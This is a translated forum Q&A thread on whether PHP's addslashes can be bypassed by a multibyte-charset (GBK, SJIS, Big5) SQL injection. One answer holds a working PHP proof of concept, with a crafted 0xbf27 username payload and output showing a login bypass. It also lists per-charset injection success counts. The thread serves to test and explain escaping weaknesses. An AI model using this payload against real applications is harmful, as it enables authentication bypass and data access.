Функция addslashes в PHP SQL-инъекции еще в силе?
Я знаю, что "параметризованные запросы" - это Святой Грааль. Это не та тема.
есть старый пост, который, похоже, является ссылкой для всех обсуждений, связанных с SQL-инъекциями, когда используются addslashes.
это ссылка:http://shiflett.org/blog/2006/jan/addslashes-versus-mysql-real-escape-string
мой вопрос: Правильно ли это доказательство концепции? Я попытался проверить его, но addslashes, похоже, правильно работает. Кто-нибудь еще действительно пробовал это или все воспринимают это как должное ?
SELECT *
FROM users
WHERE username = '�' OR username = username /*'
AND password = 'guess'
так ясно, что трюк не работает
обновление : пожалуйста, прочитайте вопрос, который я задаю. Мне не нужна передовая практика, мне не нужны альтернативы, мне просто нужно убедиться в этом. остается в силе или нет.
обновление: также я хотел бы напомнить, что POC работает для наборов символов, таких как GBK, SJIS или BIG5, и все, кажется, забывают об этом. Создание заголовков звучит немного страшно, когда говорят, что addslashes небезопасно.
решение : в моем случае mysql версии 5.5.9-log не позволяет встроенным комментариям, которые не завершены, как /*. Если я использую -- или # это работает.
2 ответов
Это, кажется, работает для меня.
mysql:
mysql> select version();
+---------------------+
| version() |
+---------------------+
| 5.0.45-community-nt |
+---------------------+
1 row in set (0.00 sec)
mysql> CREATE TABLE users (
-> username VARCHAR(32) CHARACTER SET GBK,
-> password VARCHAR(32) CHARACTER SET GBK,
-> PRIMARY KEY (username)
-> );
Query OK, 0 rows affected (0.08 sec)
mysql> insert into users SET username='ewrfg', password='wer44';
Query OK, 1 row affected (0.02 sec)
mysql> insert into users SET username='ewrfg2', password='wer443';
Query OK, 1 row affected (0.03 sec)
mysql> insert into users SET username='ewrfg4', password='wer4434';
Query OK, 1 row affected (0.00 sec)
PHP:
<pre><?php
echo "PHP version: ".PHP_VERSION."\n";
mysql_connect();
mysql_select_db("test");
mysql_query("SET NAMES GBK");
$_POST['username'] = chr(0xbf).chr(0x27).' OR username = username /*';
$_POST['password'] = 'guess';
$username = addslashes($_POST['username']);
$password = addslashes($_POST['password']);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
mysql_set_charset("GBK");
$username = mysql_real_escape_string($_POST['username']);
$password = mysql_real_escape_string($_POST['password']);
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($sql) or trigger_error(mysql_error().$sql);
var_dump($username);
var_dump(mysql_num_rows($result));
var_dump(mysql_client_encoding());
результат:
PHP version: 5.3.3
string(29) "ї\' OR username = username /*"
int(3)
string(6) "latin1"
string(29) "ї\' OR username = username /*"
int(3)
string(6) "latin1"
string(30) "\ї\' OR username = username /*"
int(0)
string(3) "gbk"
выводы:
второй результат будет самым удивительным для тех, кто скандирует "вы должны использовать mres вместо addslashes!"
для вас '�\'
Я предполагаю, что вы использовали 0x??5c
многобайтовый символ вместо 0x??27
многобайтового символа.
Я получил следующие результаты на моем сервере (количество протестированных кодовых точек, приводящих к успешным инъекциям):
- SJIS: 47/47
- SJIS-win: 58/58
- EUC-CN: 0/95
- CP936: 126/126
- большой-5: 89/94
- EUC-KR: 0/93
Я не тестировал другие доступные кодировки MySQL, так как они не были доступны в PHP mbstring
extension, поэтому у меня не было быстрого способа определить, какие многобайтовые символы существовали в этих кодировках. Я также пробовал только двухбайтовые символы, поэтому могут быть более уязвимые наборы символов.
кроме того, это помогает, если данные таблицы находятся в той же кодировке, что и клиент. В противном случае вы получите " незаконное сочетание ошибки сортировки " для многих потенциальных кодовых точек.